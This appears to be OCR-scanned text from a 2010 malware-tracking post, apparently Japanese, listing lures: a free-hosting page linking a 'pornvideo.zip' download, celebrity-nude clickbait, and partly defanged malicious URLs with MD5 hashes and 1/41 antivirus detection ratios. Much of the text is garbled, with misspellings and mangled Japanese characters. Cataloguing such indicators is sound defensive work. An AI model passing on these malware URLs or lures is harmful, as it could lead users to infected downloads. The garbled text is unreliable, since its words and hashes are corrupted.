In 5 Minutes From Now... You'll Have Your Own Personal

or Business Website Up and Running!

Toals for both, online firsttimers, and advancad web designers.., Included.

Your Wobsite Addruss:

110mb.com

FEIRURL
http://fruztoza.110mb.com/pornvideo.zip

BHTABT77 AV

pornvideo.zip

MD5: £3703c0745b4ccadbbl9adccfabbe3c3
First received: 2010.05.19 07:37:28 UTC
Hff: 2010.05.19 07:37:59 UTC [K1D]
R 1/41
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Man ‘s health news

AL

Angelina Jolie Nude. Click below to see clip.

ES

Jessica Alba Nude! The Dark Angel returns, but this time naked! Well, maybe not.
Jessica Alba nude is a fantasy for most straight men though. See full video!

Rl

FHFEURL
h ttp://rymandawniej.kgb.pl/css/vd.html
h ttp://02c9c31.netsolhost.com/testing/vd.html

_____________________________________________________

‘ L BT, BERY AR ->TY
ﬁ%;;iiij; B, RNTVY BRI TIRBEBIL

 BEBFE BB, '
MD5: 61b0c8b9afbfc91368be271fc0d48166 AT EY, BRE& RFIETY
First received: 2010.05.21 23:38:49 UTC Uo7 XFAZLIXFTRE,

Hf}: 2010.05.22 03:08:45 UTC [K1D]
FER: 1/41
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